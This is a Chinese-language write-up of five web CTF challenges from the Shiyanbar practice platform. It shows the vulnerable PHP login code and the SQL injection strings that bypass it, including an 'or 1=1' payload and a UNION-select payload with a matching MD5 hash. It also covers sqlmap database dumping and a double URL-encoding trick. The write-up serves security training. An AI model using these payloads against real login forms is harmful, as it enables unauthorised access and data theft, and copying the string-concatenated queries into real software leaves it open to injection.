实验吧CTF刷题记录鹏越·学霸专区

1

这个看起来有点简单

解题链接:http://ctf5.shiyanbar.com/8/index.php?id=1

手工检测是否存在sql注入

使用sqlmap爆出当前数据库my_db 发现可能藏有key值的thiskey表 进一步爆出字段k0y并得到key值。

2

程序员的问题

解题链接 :http://ctf5.shiyanbar.com/web/4/index.php

查看源码发现有隐藏链接index.txt

登陆语句$sql = "select user from php where (user='$user') and (pw='$pass')";

if($row['user']=="admin") { echo "

Logged in! Key: ***********

"; }

可以看到存在管理员admin用户,并使用or语句尝试绕过登陆

admin' or 1=1)#

3

PHP大法

注意备份文件

解题链接 : http://ctf5.shiyanbar.com/DUTCTF/index.php

$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "hackerDJ"){ echo "

Access granted!

"; echo "

flag: *****************}

";}

此处应该注意encode两次(浏览器端+1次)

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

Access granted!

flag: DUTCTF

4

what a fuck!这是什么鬼东西

解题链接 :http://ctf5.shiyanbar.com/DUTCTF/1.html

第一次接触到jother编码 复制粘贴到控制台enter弹出密码

5

程序逻辑问题

绕过

解题链接: http://ctf5.shiyanbar.com/web/5/index.php

if($_POST[user] && $_POST[pass]) {$conn = mysql_connect("********, "*****", "********");mysql_select_db("phpformysql") or die("Could not select database");if ($conn->connect_error) {die("Connection failed: " . mysql_error($conn));} $user = $_POST[user];$pass = md5($_POST[pass]);$sql = "select pw from php where user='$user'";$query = mysql_query($sql);if (!$query) {printf("Error: %s\n", mysql_error($conn));exit();}$row = mysql_fetch_array($query, MYSQL_ASSOC);//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {echo "

Logged in! Key:**************

";}else { echo("

Log in failure!

"); } }

可以看到是使用post方式,pass是经过md5加密的。只需要构造row[pw]和pass加密后的的值相等就可以实现绕过,其中pass加密后的值我们可以通过输入控制,从而达到不用验证数据库中的真实账号密码。

账号框输入: xxx' and 0=1 union select "202cb962ac59075b964b07152d234b70" # 密码框输入:123

保证md5与输入的密码相同即可 其中0=1可以使前面语句失效,从而实现绕过。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180329B15JFF00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券